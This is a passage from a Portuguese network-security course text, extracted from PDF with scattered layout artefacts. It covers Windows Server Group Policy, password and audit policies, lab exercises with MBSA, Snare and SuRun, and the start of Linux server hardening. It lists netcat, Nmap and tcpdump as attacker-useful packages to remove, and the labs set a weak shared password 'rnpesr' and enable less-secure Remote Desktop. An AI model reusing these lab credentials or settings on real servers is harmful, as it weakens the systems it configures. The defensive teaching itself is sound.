Aqui podemos editar as propriedades de segurança desse objeto, adicionando ou remo-

11 Limitar o número de programas a serem executados. 215

11 Restringir opções do Active Desktop. 11 Remover programas desnecessários. 11 Programar instalações remotas de programas. 11 Configurações do Internet Explorer. As configurações executadas via GPOs são aplicadas para usuários, computadores, member servers, Domain Controlers, mas apenas para computadores rodando Windows 2000 (Server ou Professional), Windows XP, Windows Vista, Windows Server 2003 e Windows Server 2008. A primeira aproximação que a Microsoft fez com políticas de grupos foi introduzida no Windows NT 4 através do Police Editor, mas foi com o lançamento do Windows 2000 Server que foi introduzido ao mundo Windows o Group Policy Editor, que incluía: 11 Configuração dos principais componentes do Windows. 11 Configuração dos principais recursos dos Active Desktop. 11 Configuração das regras de segurança. 11 Instalação de Softwares do tipo Windows Installer. 11 Configurações por computador ou usuário. 11 Herança, bloqueio de herança e regras mandatórias. Com o lançamento do Windows 2003 Server, a implementação de GPOs ficou ainda mais fácil, principalmente com o Group Policy Management Console. Agora, com o Windows 2008 Server, o Group Policy ganhou mais opções, incorporando muitos dos serviços antes feitos apenas através de scritps, tais como mapeamento de impressoras, discos e aspectos do desktop do usuário, inclusão de filtros WMI (Windows Management Instrumentation), permitindo a criação de GPOs específicas conforme o hardware da estação e criação de modelos com o recurso “Starter GPO”. Quando falamos de GPO, estamos nos referindo a Diretivas de Grupo. Uma diretiva de grupo é um conjunto de regras que podemos utilizar a fim de facilitar o gerenciamento, configuração e segurança de computadores e usuários. Podemos atribuir diretivas em uma GPO. Essa GPO com essas regras podem ser atribuídas a um: 11 Site: é o mais alto nível e normalmente atribuído a GPOs mais genéricas, válidas para qualquer usuário/computador/domínio nesse site. 11 Domínio: vem em segundo nível. Configurações feitas nesse nível afetaram usuários/ computadores dentro do domínio. 11 OU: o que se aplica nas OUs afetarão todos os usuários/computadores dentro dela. Para criar uma GPO, basta clicar com o botão direito em uma das opções acima, clicar em

Segurança de Redes e Sistemas

Propriedades e na aba Group Policy.

216

Figura 9.16 Criando uma GPO.

Exercício de fixação 5 e Group Policy Objects (GPO) Explique o que são Group Policy Objects (GPO).

Políticas de usuários e de computador O console GPO é dividido em duas partes:

q

11 Computer Configuration 22 Permite aplicar políticas que sempre estarão ativas nas estações de trabalho, independente do usuário logado. 22 Como essas políticas são permanentes, a chave de registro modificada em questão é HKEY_LOCAL_MACHINE. 11 User Configuration 22 Essa opção permite a implementação de políticas diretamente nos usuários, não sendo permanente na estação de trabalho.

qual o usuário faça login. Se houver algum conflito entre as configurações dos computadores e dos usuários, as configurações dos usuários vão prevalecer.

Opções de GPO 11 Software Settings – nessa categoria são configurados, por exemplo, a distribuição de aplicações para o usuário. 11 Windows Settings – permite ao administrador customizar as configurações do Windows.

Capítulo 9 - Roteiro de Atividades

22 Essa política estará associada ao usuário e será aplicada em qualquer estação na

Essas opções são diferentes para usuários e computadores. 217

11 Administrative templates – modelos utilizados para configurar as definições de políticas de segurança de usuários e computadores, essas opções acessam diretamente as chaves de registro HKEY_LOCAL_MACHINE e HKEY_CURRENT_USER.

Ordem das GPOs Dependendo da estrutura da organização, podemos utilizar várias GPOs para as mais diversas tarefas e, muitas vezes, essas GPOs podem ser aplicadas a um mesmo objeto, seja diretamente ou por herança. Nesse caso, as GPOs possuem uma hierarquia para serem aplicadas: 11 GPO local. 11 GPO de site. 11 GPO de domínio. 11 GPO de OU. As GPOs são baseadas em modelos que possuem uma lista de opções configuráveis de forma bastante intuitiva. Em sua maioria oferecem a opção de: 11 Habilitada: especifica o item que será ativado. 11 Desabilitada: especifica o item que será desativado. 11 Não configurada: deixa a opção neutra: não está ativada nem desativada, essa é a opção padrão.

Heranças de GPO Para facilitar a criação de GPOs, pode-se especificar em um site uma política global, como mudança de senha ou papel de parede específico, e em domínio ou OU uma política mais restritiva e personalizada. Por padrão, as GPOs podem ser sobrepostas caso existam políticas habilitadas em um site e em um domínio, seguindo sempre a precedência da mais próxima. Por exemplo, podemos configurar em nível de site uma GPO para que os usuários troquem a senha a cada 30 dias. Porém, no domínio foi configurada uma GPO desativando essa política. Nesse caso, a política vigente será a do domínio. GPO1 Site

GPO2

Segurança de Redes e Sistemas

Domínio

218

GPO3 ou

Entretanto, esse comportamento pode ser alterado através das opções: 11 Block Policy Inheritance (Bloquear Herança de Políticas): especifica que as configurações da GPO para um determinado objeto não será herdada de seu nível superior.

Figura 9.17 Heranças de GPO.

11 Force Policy Inheritance (Forçar Herança de Políticas): especifica que você não permitirá que níveis filhos possam sobrescrever suas configurações de GPO. Por exemplo, se o administrador de rede da empresa deseja criar uma GPO que force os usuários a utilizarem uma senha de nove dígitos e não deseja que os administradores do domínio nem das OUs dos domínios alterem essa política, ele pode criar a GPO, aplicar para todo o site e marcar a opção de Force Policy Inheritance.

Diretivas de segurança local Quando trabalhamos com o Windows Server em um domínio, a maior parte das configurações de segurança pode e deve ser feita através de GPOs do Active Directory, facilitando a configuração automática de parâmetros de segurança em todas as estações de trabalho automaticamente, eliminando a necessidade de configuração máquina a máquina. Porém, nem todas as organizações trabalham com domínios. Dessa maneira, não dispomos de GPOs para configuração de segurança. Para configurar esses parâmetros de segurança nos servidores pode-se utilizar as diretivas de segurança local. Uma diretiva de segurança local permite ao administrador controlar: 11 Quem acessa os computadores. 11 Quais recursos os usuários estão autorizados a usar no computador. 11 Se as ações de um usuário ou grupo são registradas no Log de eventos.

Entre as mais diversas possibilidades de implementação de itens de segurança que o Windows Server possibilita a um administrador de sistemas, podemos destacar as seguintes diretivas: 11 Política de senhas. 11 Auditoria de contas.

11 Opções de segurança.

Diretiva de senhas Sempre é bom lembrar que uma boa política de senhas é fundamental para uma organização, mas, antes de mais nada, é um controle de segurança, e antes de defini-lo o administrador precisa entender exatamente quais os riscos envolvidos em se definir como o usuário vai trabalhar com suas senhas, o valor do que está sendo protegido com essa senha e os demais controles de acesso que existem adicionalmente além da própria senha.

Capítulo 9 - Roteiro de Atividades

11 Direitos de usuários.

219

A organização deve estar preocupada não somente com ataques de força bruta ou por dicionário, mas também evitar que o usuário esqueça a senha e tenha de redefini-la diversas vezes. Porém, uma fraca política de autenticação invalida todas as outras barreiras implementadas, tais como firewalls, criptografia etc. Para se defender contra essas vulnerabilidades, faz-se necessário uma correta aplicação de diretivas de senha utilizando o console Diretiva de segurança local ou do domínio, se o servidor for um controlador de domínio.

Opções: 11 A senha deve satisfazer a requisitos de complexidade: se essa diretiva estiver habilitada, as senhas deverão atender aos itens abaixo informados. 11 Aplicar histórico de senhas: configuração de segurança que determina o número de novas senhas exclusivas que devem ser associadas a uma conta de usuário, para que uma senha antiga possa ser utilizada. Valor entre 0 e 24 senhas. 11 Armazenar senhas usando criptografia reversível: diretiva que oferece suporte a aplicativos que necessitam armazenar a senha original do usuário, essa opção só deve ser utilizada se realmente for necessário. 11 Comprimento mínimo de senha: configuração de segurança que determina o tamanho mínimo de caracteres que uma conta de usuário pode conter. Valor entre 0 (desativa) e 14. 11 Tempo de vida máximo da senha: configuração que determina o período de tempo em dias em que uma senha pode ser utilizada antes de o sistema solicitar sua alteração. Valor 0 desativa o tempo máximo. De 1 a 999 define o espaço de tempo. 11 Tempo de vida mínimo da senha: configuração que determina o período de tempo em Segurança de Redes e Sistemas

dias em que uma senha deve ser utilizada antes de o usuário poder alterá-la. Valor 0 habi-

220

lita o usuário a trocar a senha imediatamente.

Diretiva de auditoria A auditoria de segurança é uma das ferramentas mais poderosas para ajudar a manter a segurança do sistema. A auditoria deve identificar ataques, bem sucedidos ou não, que representam algum tipo de ameaça a sua rede ou ataques contra os recursos determinados em sua avaliação de riscos.

Principais opções: 11 Acesso aos serviços de diretório de auditoria: determina se o sistema operacional fará a auditoria das tentativas dos usuários de acessar os objetos do Active Directory. 11 Auditoria de alteração de diretivas: determina se o sistema operacional fará a auditoria de cada instância de tentativas de alteração da diretiva de atribuição de direitos, diretivas de auditoria, diretivas de contas ou diretivas de confiança do usuário. 11 Auditoria de eventos de logon: determina a necessidade de o sistema operacional fazer auditoria de cada instância de tentativa de logon ou logoff de um usuário no computador. 11 Auditoria de eventos de sistema: determina a necessidade de o sistema operacional fazer auditoria dos seguintes itens: 22 Alteração do horário do sistema. 22 Inicialização ou desligamento do sistema. 22 Carregamento de componentes de autenticação extensível. 22 Perda de eventos que passaram por auditoria, devido a falha no sistema de auditoria. 22 Se o tamanho do log de segurança exceder o nível de limite de aviso configurável. 11 Auditoria de gerenciamento de conta: determina a necessidade de o sistema operacional auditar eventos de gerenciamento de contas, tais como criação, alteração e exclusão de

Capítulo 9 - Roteiro de Atividades

contas de usuário e grupos, definição de senhas etc.

221

Atribuição de direitos de usuários

Em determinadas situações, não basta apenas ativar ou desativar certas diretivas de segurança. É necessário, em algumas situações, informar quais usuários devem ou não ter acesso às opções de segurança de um sistema. A atribuição de direitos de usuário determina quais contas ou grupos têm direitos ou privilégios no computador. Principais opções: 11 Acesso a este computador pela rede: esse direito de usuário determina quais usuários e grupos têm permissão para se conectar com o computador pela rede. 11 Adicionar estações de trabalho ao domínio: essa configuração de segurança determina quais grupos ou usuários podem adicionar estações de trabalho a um domínio. 11 Permitir logon pelos serviços de terminal: essa configuração de segurança determina quais usuários ou grupos têm permissão para fazer logon como um cliente de serviços de terminal. 11 Alterar a hora do sistema: permite informar quais usuários têm permissão para alterar a data e a hora do computador. 11 Apropriar-se de arquivos ou de outros objetos: determina quais usuários podem apropriar-se de objetos protegidos do sistema, incluindo objetos do Active Directory, arquivos ou pastas, impressoras, chaves do registro, processos e segmentos. Por padrão, apenas os administradores possuem essa opção.

Segurança de Redes e Sistemas

11 Fazer backup de arquivos e pastas: direito do usuário que determina os usuários que

222

podem ignorar permissões de diretório, registro e outros objetos persistentes, com a finalidade de fazer backup do sistema. Especificamente esse direito de usuário é semelhante a conceder permissões a usuários e grupos para todos os arquivos e pastas do sistema, mesmo que essas pastas tenham permissões diferentes.

Opções de segurança Além das políticas e controles de segurança constantes nas diretivas locais, podemos destacar também o conjunto de opções de segurança. Essas opções complementam as políticas de segurança local.

Essas opções são divididas em: Acesso à rede.

Controles DCOM.

Auditoria.

Desligamento.

Cliente de rede Microsoft.

Dispositivos.

Configurações do sistema.

Logon interativo.

Console de recuperação.

Membro de domínio.

Contas.

Objetos do sistema.

Controlador de domínio.

Segurança de rede.

Controle de conta de usuário.

Servidor de rede Microsoft.

Capítulo 9 - Roteiro de Atividades

Criptografia.

223

224

Segurança de Redes e Sistemas

Roteiro de Atividades 9 Atividade 1 – Configuração segura de servidor Utilizando as técnicas vistas na parte teórica, modifique a configuração do servidor Windows 2008 de modo a torná-lo mais seguro, atendendo aos itens descritos no texto. No decorrer do texto, foram mencionados alguns pontos de atenção na configuração de um servidor Windows Seguro, sendo eles: 11 Remover ou desabilitar todos os serviços não necessários no host 11 Remover ou desabilitar todas as contas de usuário não necessárias 11 Remover ou desabilitar todos os protocolos de rede não utilizados 11 Configurar adequadamente os registros de log do sistema, para que possam identificar possíveis ataques ou atividade suspeita 11 Implantar um sistema de detecção de intrusão de host 11 Atualizar o sistema operacional com as últimas correções de segurança disponibilizados pelo fabricante 11 Filtrar todas as portas desnecessárias ao host 11 Utilizar conexão criptografada para conectar ao host Para nos auxiliar nesta tarefa, vamos utilizar a ferramenta da MBSA (Microsoft Microsoft Baseline Security Analyser). Passo 1

No host WinServer, acesse o site da ferramenta MBSA: http://www.microsoft.com/technet/security/tools/mbsahome.mspx.

Passo 2

Clique no link da última versão do MBSA para ser redirecionado ao portal da ferramenta.

Passo 3

Faça o download do programa na tradução de língua em que você se sinta mais familiarizado e na plataforma de sua máquina, por exemplo, 32 ou 64 bits.

Passo 4

Execute o programa instalador do MBSA. Depois de finalizada a instalação, será adicionado um ícone do MBSA em sua área de trabalho; execute esse aplicativo com um duplo clique nesse ícone.

Passo 5

Faça o Scan no host, aceitando as configurações padrões para o Scan. Após completar a varredura, verifique o relatório final com as sugestões de ações. Avalie se as sugestões são pertinentes e se estão em conformidade com os tópicos apresentados no início desta atividade.

Capítulo 9 - Roteiro de Atividades

A URL da ferramenta pode mudar a qualquer momento por definição do fabricante; se o endereço eletrônico acima estiver quebrado, pesquise no Google “Microsoft Baseline Security Analyser”.

225

Passo 6

Aplique as correções que você julgar necessárias, como: 11Atualização do sistema operacional. 11O firewall do Windows.

11Compartilhamentos habilitados. 11Registros de logs mínimos. 11Serviços não necessários.

Os serviços abaixo podem ser desativados sem comprometer a segurança do sistema: 11Agendador de Tarefas (schedule). 11Ajuda e Suporte (helpsvc).

11Áudio do Windows (AudioSrv).

11Configuração sem fio (WZCSVC).

11Registro Remoto (RemoteRegistry). 11Spooler de Impressão (spooler).

11Microsoft TAPI Service (TapiSrv). 11Messenger (messenger). Passo 7

Faça novamente o Scan na máquina local, conforme descrito no Passo 5. O relatório do novo Scan apresenta evolução? É necessário corrigir todos os alertas apresentados nos relatórios do MBSA?

Atividade 2 – Auditoria Execute uma auditoria no servidor Windows 2008 com o Nessus e compare o resultado com o da auditoria feita na Atividade 1 do Roteiro de Atividades 8. Houve aumento do nível de segurança? Analise o resultado da auditoria e tente realizar mais modificações na configu-

Segurança de Redes e Sistemas

ração do servidor para torná-lo ainda mais seguro

226

Atividade 3 – Envio de log para servidor remoto Logs são arquivos de texto gerados pelo sistema e que podem ajudar a descobrir problemas na execução de softwares, problemas de hardware e incidentes de segurança. Do ponto de vista da segurança, é muito importante deixar esses arquivos seguros, intactos, inalteráveis e de acesso restrito. Uma forma de proteger os logs de um equipamento é enviá-los para um servidor central com acesso restrito. Tal funcionalidade irá permitir, inclusive, a correlação de logs e eventos facilitando a identificação de possíveis atacantes. Nesta atividade iremos utilizar o binário Snare para enviar os logs do servidor Windows 2008 para um servidor Linux no formato SysLog. O Windows disponibiliza a configuração de auditoria na ferramenta Group Policy Editor. Para iniciá-la, execute o comando: C:\WINDOWS\system32\gpedit.msc Na ferramenta, acesse a seção Computer Configuration / Windows Settings / Security Settings / Local Policies / Audit Policy. Habilite os seguintes eventos como Sucesso e Falha: Audit Policy

Valor

Audit account logon events

Success, Failure

Audit account management

Success, Failure

Audit logon events

Success, Failure

Audit object access

Failure

Audit policy change

Success

Audit privilege use

Failure

Audit process tracking

No Auditing

Audit system events

Success, Failure

Para permitir o envio dos logs para o servidor Syslog centralizado, vamos instalar o software Snare, cujo instalador pode ser encontrado em: http://www.intersectalliance.com/projects/SnareWindows/ A instalação deve utilizar os padrões fornecidos pelo instalador, com exceção da opção sobre a interface de configuração remota do SNARE. Nessa tela, marque a opção “Enable Web Access” e, em password, digite “rnpesr”. Agora vamos configurar o Snare. Acesse o endereço http://localhost:6161 no campo usuário digite ”snare“ e a senha é ”rnpesr”. Clique em “Network Configuration” e em “Destination Snare Server address”. Altere para 172.16.G.10 e em “Destination Port” altere para 514. Clique em “Change Configuration”. Agora clique em “Apply the Latest Audit Configuration” e clique no botão “Reload Settings”. Para testar, acesse via SSH o servidor 172.16.G.10 e realize um logon/logoff no servidor Windows 2008. Observe que foi criado o arquivo 172.16.G.20.log e dentro dele estão os logs que estão sendo enviados pelo servidor Windows. Você pode customizar os logs que serão enviados para o servidor remoto. Para isso, clique em “Objectives Configuration” no menu esquerdo. Não deixe de consultar o manual dessa interessante ferramenta.

Capítulo 9 - Roteiro de Atividades

Passo 1

227

Atividade 4 – Controle de acesso ao sistema operacional O objetivo dessa atividade é realizar a instalação de um software chamado SuRun. A ideia por trás do SuRun é semelhante ao que acontece no Linux com o sudo, ou seja, não permitir que um usuário administrador possa se autenticar remotamente e, a partir de uma lista de usuários válidos, permitir que eles possam executar binários como administrador. Passo 1

Utilizando o snap-in “Computer Management” em “Administrative Tools”, crie o usuário “suporteloc” com a senha “rnpesr”. Baixe a ferramenta SuRun (semelhante ao sudo do Unix) do endereço http://kay-bruns.de/wp/software/surun e instale como Administrador. Abra a janela de configuração do SuRun, na aba “Common Settings”. Habilite a opção “Users must enter their password”, com dois minutos (min grace period before asking again). Habilite a opção “Show SuRun settings for experienced users”. Na aba Advanced, habilite “Hide SuRun from users that are not members of the ‘SuRunners’ group”. Clique em “Apply” e, em seguida, em “Save”. Utilizando o snap-in “Computer Management”, adicione ao grupo SunRunners o usuário suporteloc. Faça um logon/logoff e autentique utilizando o usuário suporteloc. Para utilizar o SuRun, basta clicar com o botão direito em cima de um snap-in qualquer ou um executável e selecionar a opção Start as Administrator.

Passo 2

Agora, vamos configurar o acesso remoto ao servidor Windows 2008 utilizando o serviço de Terminal. Para isso, acesse o painel de controle e clique em System. Selecione “Advanced System Settings” e clique na aba “Remote”. Habilite a opção “Allow connections from computers running any version of Remote Desktop (less secure)”. Utilizando o snap-in “Computer Management”, acrescente o usuário suporteloc dentro do grupo “Remote Desktop Users”.

Passo 3

Agora vamos bloquear o acesso remoto de usuários membros do grupo Administradores. Acesse a ferramenta Terminal Services Configuration em Administrative Tools > Terminal Service. Clique com o botão direito na conexão RDP-Tcp e edite suas propriedades. Na aba Security, acesse a opção Advanced. Escolha o grupo Administrators. Selecione a opção Edit. Na permissão Logon, marque a opção Deny.

Segurança de Redes e Sistemas

Para testar, tente autenticar utilizando o usuário Administrator. Agora tente utilizando o usuário suporteloc.

228

10 objetivos

Configuração segura de servidores Linux Estudar uma série de técnicas para a configuração segura de um servidor Linux, desde a sua instalação até a publicação do servidor na internet e realizar a aplicação prática dos conhecimentos.

instalação segura de serviços, acessos administrativos, ferramentas de segurança de servidores e testes de configuração e auditoria.

conceitos

Instalação do Linux, desabilitação de serviços desnecessários, pacotes e programas,

Introdução O elo mais fraco de uma defesa determina a sua resistência. Quando estabelecemos um perímetro de segurança, limitando o contato com a rede pública através de uma rede desmilitarizada (DMZ), os servidores públicos passam a ser o elo mais fraco da rede na maioria dos casos, pois são eles que executam serviços públicos que podem ser explorados por atacantes através de vulnerabilidades ou de uma configuração incorreta. O comprometimento de um servidor na DMZ pode permitir a abertura de conexões para a rede interna, dependendo da política de segurança adotada no perímetro. Apesar de ser algo considerado no momento de implantação podemos citar o trânsito de correio eletrônico de um servidor público para um servidor interno, ou o acesso a um banco de dados interno a partir de uma aplicação web pública. Dessa forma, é imperativo que haja um investimento significativo na proteção dos servidores Hardening Processo de mudança na configuração de um servidor, com o intuito de torná-lo mais seguro.

presentes na DMZ. Essa proteção de servidores é muitas vezes chamada de hardening, e envolve tanto configurações seguras quanto a instalação de software que aumente a segurança do servidor. No capítulo 9, vimos como configurar um servidor seguro utilizando o sistema operacional Microsoft Windows Server 2008. Neste capítulo, veremos como configurar um servidor utilizando o sistema operacional Linux. Durante a parte teórica, as informações apresentadas, na medida do possível, serão genéricas, de modo que a configuração seja independente da distribuição Linux utilizada. Nas atividades práticas, será utilizada a distribuição Debian, pois é open source e bastante utilizada em servidores. No decorrer deste capítulo, veremos uma série de técnicas para a configuração segura de um servidor Linux, desde a sua instalação até a publicação do servidor na internet.

Capítulo 10 - Configuração segura de servidores Linux

do perímetro, em alguns casos não é possível realizar um isolamento completo. Como exemplo,

229

Exercício de nivelamento 1 e Configuração segura de servidores Linux Como que você entende que deve ser feita a configuração segura de servidores Linux?

Instalação do Linux 11 Realizar instalação com o mínimo indispensável

q

22 Netinst (Debian). 11 Instalar um sistema mínimo e ir adicionando pacotes para prover as funcionalidades necessárias. 11 Imagens de disco para criar uma imagem de um sistema já instalado. 22 Tecnologias de virtualização. Normalmente, quando instalamos um sistema operacional utilizando as opções padrão, uma série de programas e serviços instalados pode ser desnecessária para o propósito do servidor. Dessa forma, é importante ter em mente o papel que o servidor desempenhará, de modo a realizar uma instalação com o mínimo indispensável para o funcionamento do servidor. No caso do Debian, existe uma mídia de instalação denominada netinst, que possui o mínimo de pacotes para montar um sistema básico. Essa abordagem é interessante, visto que é possível instalar um sistema mínimo e ir adicionando pacotes para prover as funcionalidades necessárias. Em outros sistemas ou distribuições, normalmente existe uma opção de instalação avançada, onde o administrador pode configurar o que será instalado no sistema. Outra decisão importante em um sistema Linux refere-se ao particionamento do disco rígido do servidor. Abaixo são listadas algumas regras interessantes a observar durante a instalação: 11 Qualquer árvore de diretórios em que um usuário puder escrever (como /home, /tmp) deve estar em uma partição separada e usar quotas de disco. Isto reduz o risco de um usuário encher seu sistema de arquivos e realizar um ataque de negação de serviço. 11 Diretórios de uso comum como /home e /tmp podem ser colocados em partições separadas e configurados para não permitir a execução de arquivos (atributo noexec). Na mesma linha, o atributo nosuid ignorará o bit de SUID e vai tratá-lo como um arquivo normal, impedindo que um script mal configurado seja executado com permissões de outro usuário. Esses atributos são configurados no arquivo /etc/fstab. 11 Dados estáticos podem ser colocados em uma partição separada, somente como leitura. Segurança de Redes e Sistemas

Um exemplo seria a partição /etc/, que após a configuração do servidor, poderia ser montada em uma mídia em formato de somente leitura, como CD-ROM. É comum administradores utilizarem ferramentas de imagens de disco para criar uma imagem de um sistema mínimo já instalado, com os recursos básicos para o bom funcionamento de um servidor. Essa imagem pode tornar-se o padrão para a criação de um novo servidor e o ponto de partida para a sua configuração. Recursos como NTP para sincronismo de tempo,

NTP

SSH para acesso de administração e configurações como fuso horário, senhas de adminis-

Network Time Protocol é o protocolo de sincronização de tempo na internet.

tração e permissões de acesso devem ser consideradas nessa imagem. Uma vez definida a imagem, esta pode ser usada para futuras instalações, de modo a reduzir o trabalho de implantar um novo servidor, além ter uma imagem com uma configuração mínima segura.

230

Em tecnologias de virtualização, o uso de imagens pode facilitar e acelerar muito o processo de criação de novos servidores.

Desabilitando serviços desnecessários Tarefa complexa para um iniciante, que requer conhecimento sobre os serviços.

q

A regra geral é desabilitar todos os serviços desnecessários que abram portas (TCP/UDP) Ferramentas/comandos: 11 netstat –an | more (netstat –anp | more) 11 lsof –i : 11 ps aux | more 11 man Passos: 11 Determinar o runlevel padrão (/etc/inittab). 11 Parar o serviço (/etc/init.d/ stop). 11 Remover a inicialização do serviço (rcconf). 11 Remover o pacote correspondente do sistema. Em instalações padrão de um sistema operacional, muitos serviços e programas são incluídos sem que sejam necessariamente importantes para o serviço que estamos implantando. Sendo assim, após a instalação do sistema, devemos conferir os processos e serviços executando na máquina de modo a desativar todos os serviços que não sejam indispensáveis para o funcionamento do sistema. Essa é uma tarefa complexa para um iniciante, visto que ele provavelmente não saberá o que cada serviço faz e poderá ter receio de desabilitar alguns serviços. A regra geral nesses casos é desabilitar todos os serviços que abram alguma porta, TCP ou UDP no sistema, e que não façam parte de um serviço legítimo que se queira oferecer. Algumas ferramentas auxiliam nessa tarefa, mas o administrador deve ter paciência para pesquisar todos os serviços com o intuito de determinar se estes podem ser desabilitados. Recomenda-se ainda que sejam usadas distribuições Linux ou sistemas Unix que lhe sejam familiares, pois será mais fácil configurá-las. Abaixo alguns comandos úteis para o aluno: 11 netstat –an | more: mostra todas as portas abertas no sistema. As portas em estado LISTEN são portas aguardando conexão. É importante registrar essas portas e posteriormente tentar descobrir o processo associado. Em algumas distribuições, o comando netstat –anp mostra o processo responsável por aquela conexão. Segue abaixo um exemplo da saída do comando netstat –anp.

LinServer:~# netstat -anp | more Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address State tcp LISTEN tcp LISTEN tcp LISTEN

Foreign Address

PID/Program name 0

0 0.0.0.0:45416

0.0.0.0:*

1541/rpc.statd 0

0 0.0.0.0:111

0.0.0.0:*

1530/portmap 0

0 172.16.1.10:53

0.0.0.0:*

Capítulo 10 - Configuração segura de servidores Linux

Virtualização Processo de conversão de servidores físicos em servidores virtuais. Os servidores virtuais têm desempenho menor que os servidores físicos, porém vários servidores podem compartilhar os mesmos recursos, de modo que um servidor pode disponibilizar os seus recursos ociosos para outros servidores.

1765/named 231

tcp

0

LISTEN

0 127.0.0.1:53

0.0.0.0:*

1765/named

tcp

0

LISTEN

0 0.0.0.0:22

0.0.0.0:*

1794/sshd

tcp

0

LISTEN

0 127.0.0.1:5432

0.0.0.0:*

1814/postgres

tcp

0

LISTEN

0 127.0.0.1:25

0.0.0.0:*

2096/exim4

tcp

0

LISTEN

0 127.0.0.1:953

0.0.0.0:*

1765/named

11 lsof –i :: lista o processo associado a uma determinada porta. Exemplo: lsof –i TCP:25. Nem sempre a ferramenta lsof está instalada, então em alguns casos é necessário baixar e instalar a ferramenta. No caso do Debian, o comando apt-get install lsof é suficiente. Considerando o exemplo acima, o comando lsof –i TCP:111 nos dará o seguinte resultado:

LinServer:~# lsof -i TCP:111 COMMAND

PID

USER

FD

portmap 1530 daemon

TYPE DEVICE SIZE NODE NAME

5u

IPv4

4255

TCP *:sunrpc (LISTEN)

11 ps aux | more: lista todos os processos do sistema. Processos em execução que não fazem parte dos serviços que se quer configurar no servidor devem ser registrados para serem desabilitados. Alguns serviços podem ser importantes para o sistema, de modo que desabilitá-los pode causar comportamento inesperado. Caso o aluno seja inexperiente em Linux ou na distribuição em questão, recomendamos que seja instalado um servidor

Runlevel

em laboratório e que sejam feitos experimentos até que seja desabilitado o máximo de

Nível de execução que corresponde a um número que indica o modo de execução em que se encontra um sistema operacional Unix. Por exemplo, o runlevel 1 corresponde a um modo de execução onde só um usuário pode usar o sistema.

serviços e processos, mantendo os serviços que se deseja oferecer em funcionamento. 11 man : obtém informações sobre um serviço a partir de suas páginas de manual (man pages). Observe que nem todo processo é necessariamente um serviço. Um serviço consiste em um ou mais processos, que executam continuamente no servidor com o intuito de oferecer algum serviço para a máquina ou a rede. Para desabilitar um serviço, é necessário remover o link simbólico correspondente no diretório referente ao runlevel padrão do sistema. Ele pode ser determinado examinando o arquivo /etc/inittab, em uma linha como segue:

id:2:initdefault:

Segurança de Redes e Sistemas

No exemplo acima, o runlevel padrão é 2, de forma que os serviços que devem ser desabilitados encontram-se no diretório /etc/rc.d/rc2.d. Em alguns sistemas, esses serviços podem estar localizados em outro diretório. Consulte a documentação do sistema em questão para determinar onde eles se encontram. No caso do Debian do nosso laboratório, temos os serviços habilitados no diretório /etc/rc2.d:

LinServer:/etc/rc2.d# ls README S89atd

S12acpid S91apache2

S10rsyslog 232

S15bind9

S15lwresd

S19postgresql-8.3

S20nfs-common

S99rmnologin S16ssh

S20exim4

S20openbsd-inetd

S89cron

S99rc.local

S99stop-bootlogd

Em um grau de detalhamento maior, verificamos que os arquivos nessa pasta na realidade são links para scripts de inicialização do serviço no diretório /etc/init.d, onde podemos enviar comandos, como start e stop para iniciar e terminar o serviço, respectivamente.

LinServer:/etc/rc2.d# ls -la S10rsyslog lrwxrwxrwx 1 root root 17 2010-07-11 20:24 S10rsyslog -> ../init.d/ rsyslog A letra S antes do nome do serviço indica que o serviço será iniciado (start). Para finalizar o serviço, há a letra K (kill). O número a seguir indica a prioridade. Serviços com menor número serão iniciados primeiro pelo sistema. Outra forma de gerenciar serviços é com o comando rcconf. Ele pode ser instalado através do comando apt-get install rcconf. Após instalado, basta executá-lo para ser apresentado a um menu bastante prático, onde podemos habilitar e desabilitar os serviços desejados.

Figura 10.1 Tela do rconf.

Como já foi dito, o administrador não deve ter receio de desabilitar os serviços. Caso algum habilitado posteriormente (treine em um laboratório antes). Ao final, uma nova execução do comando netstat pode confirmar que os serviços desnecessários foram desabilitados. Alguns serviços utilizam o serviço inetd (Internet Super Server) e devem ser desabilitados no arquivo /etc/inetd.conf. Para mais informações sobre o inetd (ou xinetd em sistemas mais modernos), consulte as páginas de manual correspondentes com o comando man (ex.: man inetd.conf). Caso o inetd não seja necessário no seu servidor, ou seja, nenhum serviço esteja configurado nele, ele pode ser desabilitado. É importante ainda lembrar que desabilitar um serviço não o desinstala do servidor, de modo que um atacante que tenha acesso ao servidor pode iniciar novamente o serviço. Após desabilitar o serviço e ter certeza de que ele não será usado, é importante remover o pacote correspondente do sistema.

Capítulo 10 - Configuração segura de servidores Linux

serviço seja desabilitado e impeça o sistema de funcionar corretamente, ele pode ser

233

Exercício de fixação 1 e Desabilitando serviços desnecessários Por que devemos desabilitar os serviços desnecessários?

Pacotes e programas Desabilitar os serviços de rede desnecessários reduz a superfície de ataque ao servidor, que em combinação com regras de filtragem no firewall, proveem uma boa camada de proteção. Apesar disso, um atacante pode ainda conseguir comprometer um serviço válido e consequentemente obter acesso ao servidor comprometido. Esse acesso pode possibilitar ao atacante obter acesso de administrador ou ainda comprometer outros servidores na rede. Para procurar reduzir o que um atacante é capaz de fazer no servidor em caso de comprometimento, este deve possuir um conjunto mínimo de pacotes. Em especial, pacotes que proveem ferramentas para o atacante tentar comprometer outros sistemas. A lista a seguir sugere alguns pacotes para serem desabilitados. Deixe para desabilitar pacotes ao final da configuração do servidor, pois você pode pre-

q

cisar deles para alguma tarefa administrativa: 11 Compiladores de linguagens (gcc, g++ e javac). 11 Pacotes de monitoramento de conexões de rede (TCPdump, Nmap e netcat). 11 Pacotes de produtividade (editores de texto e planilhas de cálculo). 22 Um servidor não deve ser usado como estação de trabalho. 11 Ambiente gráfico (X11): devem ser utilizados os ambientes gráficos das estações para realizar tarefas de configuração. 22 Muitos serviços possuem ambientes de configuração web ou aplicações cliente-servidor, de modo que não é necessário manter o ambiente gráfico instalado. 22 Caso seja indispensável, considere filtrar as portas do XWindows (X11) no seu firewall de borda. 11 Serviços de rede não criptografados (Telnet, pop3 e Imap) 22 Dê preferência sempre a serviços criptografados (SSH, SFTP, pop3s e imaps). 11 Serviços que foram desabilitados. Desabilitar pacotes pode ser uma tarefa complexa e cansativa. Recomenda-se que se parta

Segurança de Redes e Sistemas

do princípio inverso, ou seja, realizar uma instalação mínima e ir adicionando pacotes à

234

medida que forem sendo necessários. Ao final da implantação do servidor, devem ser removidos pacotes temporários que porventura tenham sido instalados para a configuração do servidor. Paciência, conhecimento e persistência são princípios fundamentais para essa tarefa. No Debian, o comando tasksel pode ajudar, pois através dele é possível selecionar as funcionalidades de que o servidor disporá, de modo que automaticamente os pacotes correspondentes são adicionados ou removidos. Abaixo um exemplo de execução do comando.

